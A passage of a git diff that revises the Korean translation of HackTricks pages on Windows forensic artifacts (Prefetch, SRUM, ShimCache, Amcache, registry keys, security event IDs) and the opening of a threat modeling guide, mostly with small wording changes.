스케줄러에 비상 자동 유지 관리 중 작업을 실행하도록 지시합니다. +- **Deadline ('P2M')**: 작업 스케줄러에 작업이 두 달 연속 실패할 경우 긴급 자동 유지 관리 중 작업을 실행하도록 지시합니다. -이 구성은 정기적인 유지 관리 및 드라이버 정리를 보장하며, 연속 실패 시 작업을 재시도할 수 있는 조항을 포함합니다. +이 구성은 드라이버의 정기적인 유지 관리 및 정리를 보장하며, 연속 실패 시 작업을 재시도할 수 있는 조항을 포함합니다. **자세한 정보는 다음을 확인하세요:** [**https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html**](https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html) ## 이메일 -이메일은 **2개의 흥미로운 부분: 헤더와 이메일 내용**을 포함합니다. **헤더**에서 다음과 같은 정보를 찾을 수 있습니다: +이메일은 **2개의 흥미로운 부분: 헤더와 이메일 내용**을 포함합니다. **헤더**에서는 다음과 같은 정보를 찾을 수 있습니다: - **누가** 이메일을 보냈는지 (이메일 주소, IP, 이메일을 리디렉션한 메일 서버) - **언제** 이메일이 전송되었는지 @@ -217,8 +215,8 @@ PST 파일은 [**Kernel PST Viewer**](https://www.nucleustechnologies.com/es/vis 잃어버린 첨부 파일은 다음에서 복구할 수 있습니다: -- **IE10**의 경우: `%APPDATA%\Local\Microsoft\Windows\Temporary Internet Files\Content.Outlook` -- **IE11 및 그 이상**의 경우: `%APPDATA%\Local\Microsoft\InetCache\Content.Outlook` +- **IE10**: `%APPDATA%\Local\Microsoft\Windows\Temporary Internet Files\Content.Outlook` +- **IE11 및 이후 버전**: `%APPDATA%\Local\Microsoft\InetCache\Content.Outlook` ### Thunderbird MBOX 파일 @@ -228,14 +226,14 @@ PST 파일은 [**Kernel PST Viewer**](https://www.nucleustechnologies.com/es/vis - **Windows XP 및 8-8.1**: 썸네일이 있는 폴더에 접근하면 삭제 후에도 이미지 미리보기를 저장하는 `thumbs.db` 파일이 생성됩니다. - **Windows 7/10**: UNC 경로를 통해 네트워크에서 접근할 때 `thumbs.db`가 생성됩니다. -- **Windows Vista 및 이후 버전**: 썸네일 미리보기는 `%userprofile%\AppData\Local\Microsoft\Windows\Explorer`에 중앙 집중화되어 있으며, 파일 이름은 **thumbcache_xxx.db**입니다. [**Thumbsviewer**](https://thumbsviewer.github.io) 및 [**ThumbCache Viewer**](https://thumbcacheviewer.github.io)는 이러한 파일을 보기 위한 도구입니다. +- **Windows Vista 및 이후 버전**: 썸네일 미리보기는 `%userprofile%\AppData\Local\Microsoft\Windows\Explorer`에 중앙 집중화되어 있으며, 파일 이름은 **thumbcache_xxx.db**입니다. [**Thumbsviewer**](https://thumbsviewer.github.io) 및 [**ThumbCache Viewer**](https://thumbcacheviewer.github.io) 도구를 사용하여 이러한 파일을 볼 수 있습니다. ### Windows 레지스트리 정보 Windows 레지스트리는 방대한 시스템 및 사용자 활동 데이터를 저장하며, 다음 파일에 포함되어 있습니다: - `%windir%\System32\Config`에서 다양한 `HKEY_LOCAL_MACHINE` 하위 키에 대해. -- `%UserProfile%{User}\NTUSER.DAT`에서 `HKEY_CURRENT_USER`에 대해. +- `%UserProfile%{User}\NTUSER.DAT`에서 `HKEY_CURRENT_USER`. - Windows Vista 및 이후 버전에서는 `%Windir%\System32\Config\RegBack\`에 `HKEY_LOCAL_MACHINE` 레지스트리 파일을 백업합니다. - 또한, 프로그램 실행 정보는 Windows Vista 및 Windows 2008 Server 이후부터 `%UserProfile%\{User}\AppData\Local\Microsoft\Windows\USERCLASS.DAT`에 저장됩니다. @@ -245,12 +243,12 @@ Windows 레지스트리는 방대한 시스템 및 사용자 활동 데이터를 - **레지스트리 편집기**: Windows에 설치되어 있습니다. 현재 세션의 Windows 레지스트리를 탐색하는 GUI입니다. - [**Registry Explorer**](https://ericzimmerman.github.io/#!index.md): 레지스트리 파일을 로드하고 GUI를 통해 탐색할 수 있습니다. 흥미로운 정보를 가진 키를 강조하는 북마크도 포함되어 있습니다. -- [**RegRipper**](https://github.com/keydet89/RegRipper3.0): 다시 GUI를 통해 로드된 레지스트리를 탐색할 수 있으며, 로드된 레지스트리 내의 흥미로운 정보를 강조하는 플러그인도 포함되어 있습니다. -- [**Windows 레지스트리 복구**](https://www.mitec.cz/wrr.html): 로드된 레지스트리에서 중요한 정보를 추출할 수 있는 또 다른 GUI 애플리케이션입니다. +- [**RegRipper**](https://github.com/keydet89/RegRipper3.0): 다시 GUI가 있어 로드된 레지스트리를 탐색할 수 있으며, 로드된 레지스트리 내의 흥미로운 정보를 강조하는 플러그인도 포함되어 있습니다. +- [**Windows Registry Recovery**](https://www.mitec.cz/wrr.html): 로드된 레지스트리에서 중요한 정보를 추출할 수 있는 또 다른 GUI 애플리케이션입니다. ### 삭제된 요소 복구 -키가 삭제되면 그렇게 표시되지만, 그 공간이 필요해질 때까지 제거되지 않습니다. 따라서 **Registry Explorer**와 같은 도구를 사용하면 이러한 삭제된 키를 복구할 수 있습니다. +키가 삭제되면 해당 키는 그렇게 표시되지만, 차지하고 있는 공간이 필요해질 때까지 제거되지 않습니다. 따라서 **Registry Explorer**와 같은 도구를 사용하면 이러한 삭제된 키를 복구할 수 있습니다. ### 마지막 수정 시간 @@ -260,7 +258,7 @@ Windows 레지스트리는 방대한 시스템 및 사용자 활동 데이터를 파일/하이브 **SAM**은 시스템의 **사용자, 그룹 및 사용자 비밀번호** 해시를 포함합니다. -`SAM\Domains\Account\Users`에서 사용자 이름, RID, 마지막 로그인, 마지막 실패한 로그인, 로그인 카운터, 비밀번호 정책 및 계정 생성 시간을 얻을 수 있습니다. **해시**를 얻으려면 **SYSTEM** 파일/하이브도 **필요합니다**. +`SAM\Domains\Account\Users`에서 사용자 이름, RID, 마지막 로그인, 마지막 실패한 로그온, 로그인 카운터, 비밀번호 정책 및 계정 생성 시간을 얻을 수 있습니다. **해시**를 얻으려면 **SYSTEM** 파일/하이브도 **필요**합니다. ### Windows 레지스트리의 흥미로운 항목 @@ -280,19 +278,19 @@ interesting-windows-registry-keys.md ### BAM (백그라운드 활동 조정기) -레지스트리 편집기를 사용하여 `SYSTEM` 파일을 열고 경로 `SYSTEM\CurrentControlSet\Services\bam\UserSettings\{SID}` 내에서 **각 사용자가 실행한 애플리케이션**에 대한 정보를 찾을 수 있습니다(경로의 `{SID}`에 유의하세요) 및 **언제** 실행되었는지(시간은 레지스트리의 데이터 값 내에 있습니다). +레지스트리 편집기를 사용하여 `SYSTEM` 파일을 열고 경로 `SYSTEM\CurrentControlSet\Services\bam\UserSettings\{SID}` 내에서 **각 사용자가 실행한 애플리케이션**에 대한 정보를 찾을 수 있습니다(경로의 `{SID}`에 유의) 및 **언제** 실행되었는지(시간은 레지스트리의 데이터 값 내에 있습니다). ### Windows 프리패치 프리패칭은 컴퓨터가 사용자가 **가까운 미래에 접근할 수 있는 콘텐츠를 표시하는 데 필요한 리소스를 조용히 가져오는** 기술입니다. 이를 통해 리소스에 더 빠르게 접근할 수 있습니다. -Windows 프리패치는 **실행된 프로그램의 캐시를 생성**하여 더 빠르게 로드할 수 있도록 합니다. 이러한 캐시는 경로 `C:\Windows\Prefetch` 내에 `.pf` 파일로 생성됩니다. XP/VISTA/WIN7에서는 128개의 파일 제한이 있으며, Win8/Win10에서는 1024개의 파일 제한이 있습니다. +Windows 프리패치는 **실행된 프로그램의 캐시를 생성**하여 더 빠르게 로드할 수 있도록 합니다. 이러한 캐시는 `C:\Windows\Prefetch` 경로 내에 `.pf` 파일로 생성됩니다. XP/VISTA/WIN7에서는 128개의 파일 제한이 있으며, Win8/Win10에서는 1024개의 파일 제한이 있습니다. 파일 이름은 `{program_name}-{hash}.pf` 형식으로 생성됩니다(해시는 실행 파일의 경로와 인수에 기반합니다). W10에서는 이러한 파일이 압축됩니다. 파일의 존재만으로도 **프로그램이 실행되었음을** 나타냅니다. 파일 `C:\Windows\Prefetch\Layout.ini`는 **프리패치된 파일의 폴더 이름**을 포함합니다. 이 파일은 **실행 횟수**, **실행 날짜** 및 **프로그램이 연 파일**에 대한 정보를 포함합니다. -이 파일을 검사하려면 도구 [**PEcmd.exe**](https://github.com/EricZimmerman/PECmd)를 사용할 수 있습니다. +이 파일을 검사하려면 도구 [**PEcmd.exe**](https://github.com/EricZimmerman/PECmd)를 사용할 수 있습니다: ```bash .\PECmd.exe -d C:\Users\student\Desktop\Prefetch --html "C:\Users\student\Desktop\out_folder" ``` @@ -303,13 +301,13 @@ Windows 프리패치는 **실행된 프로그램의 캐시를 생성**하여 더 **Superprefetch**는 **다음에 로드될 프로그램**을 예측하여 **프로그램을 더 빠르게 로드**하는 것과 같은 목표를 가지고 있습니다. 그러나, prefetch 서비스를 대체하지는 않습니다.\ 이 서비스는 `C:\Windows\Prefetch\Ag*.db`에 데이터베이스 파일을 생성합니다. -이 데이터베이스에서는 **프로그램의 이름**, **실행 횟수**, **열린 파일**, **접근한 볼륨**, **전체 경로**, **시간대** 및 **타임스탬프**를 찾을 수 있습니다. +이 데이터베이스에서는 **프로그램**의 **이름**, **실행** **횟수**, **열린** **파일**, **접근한** **볼륨**, **전체** **경로**, **시간대** 및 **타임스탬프**를 찾을 수 있습니다. 이 정보를 사용하여 [**CrowdResponse**](https://www.crowdstrike.com/resources/community-tools/crowdresponse/) 도구에 접근할 수 있습니다. ### SRUM -**시스템 리소스 사용 모니터**(SRUM)는 **프로세스에 의해 소비된 리소스**를 **모니터링**합니다. W8에서 등장했으며, `C:\Windows\System32\sru\SRUDB.dat`에 ESE 데이터베이스로 데이터를 저장합니다. +**System Resource Usage Monitor** (SRUM) **는** **프로세스**에 의해 **소비된** **자원**을 **모니터링**합니다. W8에서 등장했으며, `C:\Windows\System32\sru\SRUDB.dat`에 ESE 데이터베이스로 데이터를 저장합니다. 다음과 같은 정보를 제공합니다: @@ -329,7 +327,7 @@ Windows 프리패치는 **실행된 프로그램의 캐시를 생성**하여 더 ``` ### AppCompatCache (ShimCache) -**AppCompatCache**는 **ShimCache**로도 알려져 있으며, **Microsoft**에서 애플리케이션 호환성 문제를 해결하기 위해 개발한 **Application Compatibility Database**의 일부입니다. 이 시스템 구성 요소는 다음과 같은 다양한 파일 메타데이터를 기록합니다: +**AppCompatCache**는 **ShimCache**로도 알려져 있으며, **Microsoft**가 애플리케이션 호환성 문제를 해결하기 위해 개발한 **Application Compatibility Database**의 일부입니다. 이 시스템 구성 요소는 다음과 같은 다양한 파일 메타데이터를 기록합니다: - 파일의 전체 경로 - 파일의 크기 @@ -339,7 +337,7 @@ Windows 프리패치는 **실행된 프로그램의 캐시를 생성**하여 더 이러한 데이터는 운영 체제 버전에 따라 특정 위치의 레지스트리에 저장됩니다: -- XP의 경우, 데이터는 `SYSTEM\CurrentControlSet\Control\SessionManager\Appcompatibility\AppcompatCache` 아래에 저장되며, 96개의 항목을 수용할 수 있습니다. +- XP의 경우, 데이터는 `SYSTEM\CurrentControlSet\Control\SessionManager\Appcompatibility\AppcompatCache`에 저장되며, 96개의 항목을 수용할 수 있습니다. - Server 2003 및 Windows 버전 2008, 2012, 2016, 7, 8, 10의 경우, 저장 경로는 `SYSTEM\CurrentControlSet\Control\SessionManager\AppcompatCache\AppCompatCache`이며, 각각 512개 및 1024개의 항목을 수용합니다. 저장된 정보를 파싱하기 위해 [**AppCompatCacheParser** tool](https://github.com/EricZimmerman/AppCompatCacheParser)의 사용이 권장됩니다. @@ -362,7 +360,7 @@ AmcacheParser.exe -f C:\Users\genericUser\Desktop\Amcache.hve --csv C:\Users\gen ### RecentFileCache -이 아티팩트는 W7에서만 `C:\Windows\AppCompat\Programs\RecentFileCache.bcf`에 존재하며, 일부 바이너리의 최근 실행에 대한 정보를 포함하고 있습니다. +이 아티팩트는 W7에서만 `C:\Windows\AppCompat\Programs\RecentFileCache.bcf`에 있으며, 일부 바이너리의 최근 실행에 대한 정보를 포함하고 있습니다. 파일을 파싱하려면 도구 [**RecentFileCacheParse**](https://github.com/EricZimmerman/RecentFileCacheParser)를 사용할 수 있습니다. @@ -380,7 +378,8 @@ AmcacheParser.exe -f C:\Users\genericUser\Desktop\Amcache.hve --csv C:\Users\gen 이 데이터베이스의 애플리케이션 테이블 내에서 "Application ID", "PackageNumber", "Display Name" 열을 찾을 수 있습니다. 이 열은 사전 설치된 애플리케이션과 설치된 애플리케이션에 대한 정보를 포함하고 있으며, 설치된 애플리케이션의 ID는 순차적이어야 하므로 일부 애플리케이션이 제거되었는지 확인할 수 있습니다. -레지스트리 경로 `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Applications\`에서도 **설치된 애플리케이션**을 찾을 수 있습니다. 그리고 `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Deleted\`에서 **제거된 애플리케이션**을 찾을 수 있습니다. +레지스트리 경로 `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Applications\`에서도 **설치된 애플리케이션**을 찾을 수 있습니다.\ +그리고 `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Deleted\`에서 **제거된 애플리케이션**을 찾을 수 있습니다. ## Windows Events @@ -392,7 +391,7 @@ Windows 이벤트 내에 나타나는 정보는 다음과 같습니다: - 관련된 호스트 (호스트 이름, IP) - 접근된 자산 (파일, 폴더, 프린터, 서비스) -로그는 Windows Vista 이전에는 `C:\Windows\System32\config`에, Windows Vista 이후에는 `C:\Windows\System32\winevt\Logs`에 위치합니다. Windows Vista 이전에는 이벤트 로그가 이진 형식이었고, 이후에는 **XML 형식**으로 **.evtx** 확장자를 사용합니다. +로그는 Windows Vista 이전에는 `C:\Windows\System32\config`에 위치하고, Windows Vista 이후에는 `C:\Windows\System32\winevt\Logs`에 위치합니다. Windows Vista 이전에는 이벤트 로그가 이진 형식이었고, 이후에는 **XML 형식**으로 **.evtx** 확장자를 사용합니다. 이벤트 파일의 위치는 **`HKLM\SYSTEM\CurrentControlSet\services\EventLog\{Application|System|Security}`**의 SYSTEM 레지스트리에서 찾을 수 있습니다. @@ -400,16 +399,16 @@ Windows 이벤트 뷰어 (**`eventvwr.msc`**) 또는 [**Event Log Explorer**](ht ## Understanding Windows Security Event Logging -접근 이벤트는 `C:\Windows\System32\winevt\Security.evtx`에 위치한 보안 구성 파일에 기록됩니다. 이 파일의 크기는 조정 가능하며, 용량에 도달하면 이전 이벤트가 덮어씌워집니다. 기록된 이벤트에는 사용자 로그인 및 로그오프, 사용자 행동, 보안 설정 변경, 파일, 폴더 및 공유 자산 접근이 포함됩니다. +접근 이벤트는 `C:\Windows\System32\winevt\Security.evtx`에 위치한 보안 구성 파일에 기록됩니다. 이 파일의 크기는 조정 가능하며, 용량이 초과되면 이전 이벤트가 덮어씌워집니다. 기록된 이벤트에는 사용자 로그인 및 로그오프, 사용자 행동, 보안 설정 변경, 파일, 폴더 및 공유 자산 접근이 포함됩니다. -### 사용자 인증을 위한 주요 이벤트 ID: +### Key Event IDs for User Authentication: - **EventID 4624**: 사용자가 성공적으로 인증되었음을 나타냅니다. - **EventID 4625**: 인증 실패를 나타냅니다. - **EventIDs 4634/4647**: 사용자 로그오프 이벤트를 나타냅니다. - **EventID 4672**: 관리 권한으로 로그인했음을 나타냅니다. -#### EventID 4634/4647 내의 하위 유형: +#### Sub-types within EventID 4634/4647: - **Interactive (2)**: 직접 사용자 로그인. - **Network (3)**: 공유 폴더 접근. @@ -424,16 +423,16 @@ Windows 이벤트 뷰어 (**`eventvwr.msc`**) 또는 [**Event Log Explorer**](ht - **Cache Remote Interactive (12)**: 캐시된 자격 증명으로 원격 로그인. - **Cached Unlock (13)**: 캐시된 자격 증명으로 잠금 해제. -#### EventID 4625의 상태 및 하위 상태 코드: +#### Status and Sub Status Codes for EventID 4625: - **0xC0000064**: 사용자 이름이 존재하지 않음 - 사용자 이름 열거 공격을 나타낼 수 있습니다. -- **0xC000006A**: 올바른 사용자 이름이지만 잘못된 비밀번호 - 비밀번호 추측 또는 무차별 대입 시도를 나타낼 수 있습니다. -- **0xC0000234**: 사용자 계정이 잠김 - 여러 번의 로그인 실패 후 무차별 대입 공격이 발생할 수 있습니다. +- **0xC000006A**: 올바른 사용자 이름이지만 잘못된 비밀번호 - 비밀번호 추측 또는 무차별 대입 시도 가능성. +- **0xC0000234**: 사용자 계정이 잠김 - 여러 번의 로그인 실패로 인한 무차별 대입 공격 후 발생할 수 있습니다. - **0xC0000072**: 계정 비활성화 - 비활성 계정에 대한 무단 접근 시도. - **0xC000006F**: 허용된 시간 외 로그인 - 설정된 로그인 시간 외 접근 시도, 무단 접근의 가능성을 나타냅니다. - **0xC0000070**: 워크스테이션 제한 위반 - 무단 위치에서 로그인 시도일 수 있습니다. - **0xC0000193**: 계정 만료 - 만료된 사용자 계정으로 접근 시도. -- **0xC0000071**: 만료된 비밀번호 - 오래된 비밀번호로 로그인 시도. +- **0xC0000071**: 비밀번호 만료 - 만료된 비밀번호로 로그인 시도. - **0xC0000133**: 시간 동기화 문제 - 클라이언트와 서버 간의 큰 시간 차이는 패스-더-티켓과 같은 더 정교한 공격을 나타낼 수 있습니다. - **0xC0000224**: 필수 비밀번호 변경 필요 - 빈번한 필수 변경은 계정 보안을 불안정하게 하려는 시도를 나타낼 수 있습니다. - **0xC0000225**: 보안 문제보다는 시스템 버그를 나타냅니다. @@ -441,17 +440,17 @@ Windows 이벤트 뷰어 (**`eventvwr.msc`**) 또는 [**Event Log Explorer**](ht #### EventID 4616: -- **시간 변경**: 시스템 시간 수정, 사건의 타임라인을 모호하게 할 수 있습니다. +- **Time Change**: 시스템 시간 수정, 사건의 타임라인을 흐리게 할 수 있습니다. -#### EventID 6005 및 6006: +#### EventID 6005 and 6006: -- **시스템 시작 및 종료**: EventID 6005는 시스템 시작을 나타내고, EventID 6006은 종료를 나타냅니다. +- **System Startup and Shutdown**: EventID 6005는 시스템 시작을 나타내고, EventID 6006은 시스템 종료를 나타냅니다. #### EventID 1102: -- **로그 삭제**: 보안 로그가 지워지는 경우, 이는 종종 불법 활동을 은폐하려는 신호입니다. +- **Log Deletion**: 보안 로그가 지워지는 경우, 이는 종종 불법 활동을 숨기기 위한 신호입니다. -#### USB 장치 추적을 위한 이벤트 ID: +#### EventIDs for USB Device Tracking: - **20001 / 20003 / 10000**: USB 장치 첫 연결. - **10100**: USB 드라이버 업데이트. @@ -459,34 +458,34 @@ Windows 이벤트 뷰어 (**`eventvwr.msc`**) 또는 [**Event Log Explorer**](ht 로그인 유형 및 자격 증명 덤핑 기회를 시뮬레이션하는 실용적인 예는 [Altered Security의 자세한 가이드](https://www.alteredsecurity.com/post/fantastic-windows-logon-types-and-where-to-find-credentials-in-them)를 참조하십시오. -상태 및 하위 상태 코드를 포함한 이벤트 세부정보는 이벤트 원인에 대한 추가 통찰력을 제공하며, 특히 Event ID 4625에서 주목할 만합니다. +이벤트 세부정보, 상태 및 하위 상태 코드는 이벤트 원인에 대한 추가 통찰력을 제공하며, 특히 Event ID 4625에서 주목할 만합니다. -### Windows 이벤트 복구 +### Recovering Windows Events -삭제된 Windows 이벤트를 복구할 가능성을 높이기 위해, 의심되는 컴퓨터의 전원을 직접 분리하여 끄는 것이 좋습니다. **Bulk_extractor**, `.evtx` 확장자를 지정하는 복구 도구는 이러한 이벤트를 복구하려고 시도하는 데 권장됩니다. +삭제된 Windows 이벤트를 복구할 가능성을 높이기 위해, 의심되는 컴퓨터의 전원을 직접 분리하여 끄는 것이 좋습니다. **Bulk_extractor**, `.evtx` 확장자를 지정하는 복구 도구가 이러한 이벤트를 복구하기 위해 권장됩니다. -### Windows 이벤트를 통한 일반 공격 식별 +### Identifying Common Attacks via Windows Events -일반 사이버 공격을 식별하는 데 Windows 이벤트 ID를 활용하는 포괄적인 가이드는 [Red Team Recipe](https://redteamrecipe.com/event-codes/)를 방문하십시오. +일반 사이버 공격을 식별하기 위해 Windows 이벤트 ID를 활용하는 포괄적인 가이드는 [Red Team Recipe](https://redteamrecipe.com/event-codes/)를 방문하십시오. -#### 무차별 대입 공격 +#### Brute Force Attacks 여러 EventID 4625 기록으로 식별되며, 공격이 성공하면 EventID 4624가 뒤따릅니다. -#### 시간 변경 +#### Time Change -EventID 4616에 기록되며, 시스템 시간의 변경은 포렌식 분석을 복잡하게 만들 수 있습니다. +EventID 4616에 기록되며, 시스템 시간 변경은 포렌식 분석을 복잡하게 만들 수 있습니다. -#### USB 장치 추적 +#### USB Device Tracking -USB 장치 추적을 위한 유용한 시스템 이벤트 ID는 초기 사용을 위한 20001/20003/10000, 드라이버 업데이트를 위한 10100, 삽입 타임스탬프를 위한 DeviceSetupManager의 EventID 112가 포함됩니다. +USB 장치 추적에 유용한 시스템 이벤트 ID는 초기 사용을 위한 20001/20003/10000, 드라이버 업데이트를 위한 10100, 삽입 타임스탬프를 위한 DeviceSetupManager의 EventID 112가 포함됩니다. -#### 시스템 전원 이벤트 +#### System Power Events EventID 6005는 시스템 시작을 나타내고, EventID 6006은 종료를 나타냅니다. -#### 로그 삭제 +#### Log Deletion -보안 EventID 1102는 로그 삭제를 신호하며, 이는 포렌식 분석에 중요한 이벤트입니다. +보안 EventID 1102는 로그 삭제를 신호하며, 포렌식 분석에 중요한 이벤트입니다. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md index ac019c2aa..104f35109 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md @@ -1,7 +1,5 @@ # 흥미로운 Windows 레지스트리 키 -### 흥미로운 Windows 레지스트리 키 - {{#include ../../../banners/hacktricks-training.md}} ### **Windows 버전 및 소유자 정보** @@ -31,19 +29,19 @@ ### 네트워크 정보 세부사항 -- 레지스트리는 **네트워크 유형(무선, 유선, 3G)** 및 **네트워크 범주(공용, 개인/홈, 도메인/작업)**를 포함한 광범위한 네트워크 구성 데이터를 보유하고 있어, 네트워크 보안 설정 및 권한을 이해하는 데 필수적입니다. +- 레지스트리는 네트워크 구성에 대한 광범위한 데이터를 보유하고 있으며, **네트워크 유형(무선, 유선, 3G)** 및 **네트워크 범주(공용, 개인/홈, 도메인/작업)**를 포함하여 네트워크 보안 설정 및 권한을 이해하는 데 필수적입니다. ### 클라이언트 측 캐싱 (CSC) -- **CSC**는 공유 파일의 복사본을 캐싱하여 오프라인 파일 접근을 향상시킵니다. 다양한 **CSCFlags** 설정은 어떤 파일이 어떻게 캐시되는지를 제어하여, 간헐적인 연결이 있는 환경에서 성능과 사용자 경험에 영향을 미칩니다. +- **CSC**는 공유 파일의 복사본을 캐싱하여 오프라인 파일 접근을 향상시킵니다. 다양한 **CSCFlags** 설정은 어떤 파일이 어떻게 캐시되는지를 제어하여 성능과 사용자 경험에 영향을 미치며, 특히 간헐적인 연결이 있는 환경에서 중요합니다. ### 자동 시작 프로그램 -- 다양한 `Run` 및 `RunOnce` 레지스트리 키에 나열된 프로그램은 시작 시 자동으로 실행되며, 시스템 부팅 시간에 영향을 미치고 악성 소프트웨어나 원치 않는 소프트웨어를 식별하는 데 관심의 지점이 될 수 있습니다. +- 다양한 `Run` 및 `RunOnce` 레지스트리 키에 나열된 프로그램은 시작 시 자동으로 실행되며, 시스템 부팅 시간에 영향을 미치고 악성 소프트웨어나 원치 않는 소프트웨어를 식별하는 데 관심이 될 수 있습니다. ### 셸백 -- **셸백**은 폴더 보기 기본 설정을 저장할 뿐만 아니라, 폴더가 더 이상 존재하지 않더라도 폴더 접근에 대한 포렌식 증거를 제공합니다. 이는 다른 방법으로는 명백하지 않은 사용자 활동을 드러내는 데 매우 유용합니다. +- **셸백**은 폴더 보기 선호도를 저장할 뿐만 아니라, 폴더가 더 이상 존재하지 않더라도 폴더 접근에 대한 포렌식 증거를 제공합니다. 이는 다른 방법으로는 명확하지 않은 사용자 활동을 드러내는 데 매우 유용합니다. ### USB 정보 및 포렌식 @@ -51,7 +49,7 @@ ### 볼륨 일련 번호 -- **볼륨 일련 번호**는 파일 시스템의 특정 인스턴스를 추적하는 데 중요할 수 있으며, 이는 다양한 장치 간에 파일 출처를 확립해야 하는 포렌식 시나리오에서 유용합니다. +- **볼륨 일련 번호**는 파일 시스템의 특정 인스턴스를 추적하는 데 중요할 수 있으며, 이는 다양한 장치에서 파일 출처를 확인해야 하는 포렌식 시나리오에서 유용합니다. ### **종료 세부정보** @@ -64,7 +62,7 @@ ### **공유 폴더** -- 공유 폴더 및 설정은 **`System\ControlSet001\Services\lanmanserver\Shares`** 아래에 있습니다. 클라이언트 측 캐싱(CSC) 설정은 오프라인 파일 가용성을 결정합니다. +- 공유 폴더 및 설정은 **`System\ControlSet001\Services\lanmanserver\Shares`** 아래에 있습니다. 클라이언트 측 캐싱 (CSC) 설정은 오프라인 파일 가용성을 결정합니다. ### **자동으로 시작되는 프로그램** @@ -84,7 +82,7 @@ ### **사용자 활동 추적** -- 사용자 보조 기능은 실행 횟수 및 마지막 실행 시간을 포함한 애플리케이션 사용 통계를 **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{GUID}\Count`**에 기록합니다. +- 사용자 지원 기능은 실행 횟수 및 마지막 실행 시간을 포함한 상세한 애플리케이션 사용 통계를 **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{GUID}\Count`**에 기록합니다. ### **셸백 분석** diff --git a/src/generic-methodologies-and-resources/threat-modeling.md b/src/generic-methodologies-and-resources/threat-modeling.md index 22392044d..a2820f225 100644 --- a/src/generic-methodologies-and-resources/threat-modeling.md +++ b/src/generic-methodologies-and-resources/threat-modeling.md @@ -1,8 +1,10 @@ # 위협 모델링 +{{#include /banners/hacktricks-training.md}} + ## 위협 모델링 -HackTricks의 포괄적인 위협 모델링 가이드에 오신 것을 환영합니다! 시스템의 잠재적 취약점을 식별하고 이해하며 전략을 세우는 사이버 보안의 이 중요한 측면을 탐구해 보세요. 이 스레드는 실제 사례, 유용한 소프트웨어 및 이해하기 쉬운 설명으로 가득 찬 단계별 가이드 역할을 합니다. 초보자와 경험이 풍부한 실무자 모두에게 사이버 보안 방어를 강화하는 데 이상적입니다. +HackTricks의 포괄적인 위협 모델링 가이드에 오신 것을 환영합니다! 시스템의 잠재적 취약점을 식별하고 이해하며 전략을 세우는 사이버 보안의 이 중요한 측면을 탐구해 보세요. 이 스레드는 실제 사례, 유용한 소프트웨어 및 이해하기 쉬운 설명으로 가득 찬 단계별 가이드 역할을 합니다. 사이버 보안 방어를 강화하려는 초보자와 경험이 풍부한 실무자 모두에게 이상적입니다. ### 일반적으로 사용되는 시나리오 @@ -11,7 +13,7 @@ HackTricks의 포괄적인 위협 모델링 가이드에 오신 것을 환영합 ### 위협 모델 요약 -위협 모델은 일반적으로 애플리케이션의 계획된 아키텍처 또는 기존 빌드를 나타내는 다이어그램, 이미지 또는 기타 형태의 시각적 설명으로 표현됩니다. 이는 **데이터 흐름 다이어그램**과 유사하지만, 주요 차이점은 보안 지향적인 설계에 있습니다. +위협 모델은 일반적으로 애플리케이션의 계획된 아키텍처 또는 기존 빌드를 나타내는 다이어그램, 이미지 또는 기타 형태의 시각적 일러스트레이션으로 표현됩니다. 이는 **데이터 흐름 다이어그램**과 유사하지만, 주요 차이점은 보안 지향적인 설계에 있습니다. 위협 모델은 종종 빨간색으로 표시된 요소를 특징으로 하며, 이는 잠재적 취약점, 위험 또는 장벽을 상징합니다. 위험 식별 프로세스를 간소화하기 위해 CIA(기밀성, 무결성, 가용성) 삼각형이 사용되며, 이는 많은 위협 모델링 방법론의 기초를 형성하고 STRIDE가 가장 일반적인 방법론 중 하나입니다. 그러나 선택된 방법론은 특정 맥락과 요구 사항에 따라 달라질 수 있습니다. @@ -25,11 +27,11 @@ CIA 삼각형은 정보 보안 분야에서 널리 인정받는 모델로, 기 ### 위협 모델링 방법론 -1. **STRIDE**: Microsoft에서 개발한 STRIDE는 **스푸핑, 변조, 부인, 정보 공개, 서비스 거부 및 권한 상승**의 약어입니다. 각 카테고리는 위협의 유형을 나타내며, 이 방법론은 프로그램 또는 시스템의 설계 단계에서 잠재적 위협을 식별하는 데 일반적으로 사용됩니다. -2. **DREAD**: 이는 식별된 위협의 위험 평가에 사용되는 Microsoft의 또 다른 방법론입니다. DREAD는 **손상 가능성, 재현성, 악용 가능성, 영향을 받는 사용자 및 발견 가능성**의 약어입니다. 이러한 각 요소는 점수를 매기고, 결과는 식별된 위협의 우선 순위를 정하는 데 사용됩니다. +1. **STRIDE**: Microsoft에서 개발한 STRIDE는 **스푸핑, 변조, 부인, 정보 공개, 서비스 거부 및 권한 상승**의 약어입니다. 각 카테고리는 위협의 유형을 나타내며, 이 방법론은 프로그램이나 시스템의 설계 단계에서 잠재적 위협을 식별하는 데 일반적으로 사용됩니다. +2. **DREAD**: 이는 Microsoft에서 제공하는 또 다른 방법론으로, 식별된 위협의 위험 평가에 사용됩니다. DREAD는 **손상 가능성, 재현성, 악용 가능성, 영향을 받는 사용자 및 발견 가능성**의 약어입니다. 이러한 각 요소는 점수를 매기고, 결과는 식별된 위협의 우선 순위를 정하는 데 사용됩니다. 3. **PASTA** (공격 시뮬레이션 및 위협 분석 프로세스): 이는 **위험 중심**의 7단계 방법론입니다. 보안 목표 정의 및 식별, 기술 범위 생성, 애플리케이션 분해, 위협 분석, 취약점 분석 및 위험/분류 평가를 포함합니다. 4. **Trike**: 이는 자산 방어에 중점을 둔 위험 기반 방법론입니다. **위험 관리** 관점에서 시작하여 그 맥락에서 위협과 취약점을 살펴봅니다. -5. **VAST** (시각적, 민첩하고 간단한 위협 